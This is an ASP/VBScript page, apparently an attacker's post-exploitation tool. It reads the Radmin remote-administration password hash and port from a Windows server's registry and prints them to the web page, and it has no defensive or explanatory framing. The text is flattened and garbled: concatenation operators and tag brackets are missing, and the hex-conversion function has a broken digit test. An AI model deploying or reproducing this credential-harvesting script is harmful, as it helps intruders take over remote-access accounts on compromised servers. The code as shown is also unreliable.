% '========================================Main====================================== Set WSH= Server.CreateObject("Wscript.shell") RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\" Parameter="Parameter" Port = "Port" ParameterArray=WSH.Regread(RadminPath Parameter ) Response.write "The Result of Radmin Hash" Response.write "br>br>" Response.write Parameter":" '=========== ReadPassWord ========= If IsArray(ParameterArray) Then For i = 0 To UBound(ParameterArray) If Len (hex(ParameterArray(i)))=1 Then strObj = strObj "0" CStr(Hex(ParameterArray(i))) Else strObj = strObj Hex(ParameterArray(i)) End If Next response.write Lcase(strobj) Else response.write "Error! Can't Read!" End If Response.write "br>br>" '=========== ReadPort ========= PortArray=WSH.REGREAD(RadminPath Port ) If IsArray(PortArray) Then Response.write Port ":" Response.write hextointer(CStr(Hex(PortArray(1)))CStr(Hex(PortArray(0)))) Else Response.write "Error! Can't Read!" End If '=============hex TO int========== Function hextointer(strin) Dim i, j, k, result result = 0 For i = 1 To Len(strin) If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then j = 15 End If If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then j = 14 End If If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then j = 13 End If If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then j = 12 End If If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then j = 11 End If If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then j = 10 End If If Mid(strin, i, 1) = "9" And Mid(strin, i, 1) >= "0" Then j = CInt(Mid(strin, i, 1)) End If For k = 1 To Len(strin) - i j = j * 16 Next result = result + j Next hextointer = result End Function '================ End ========== %>
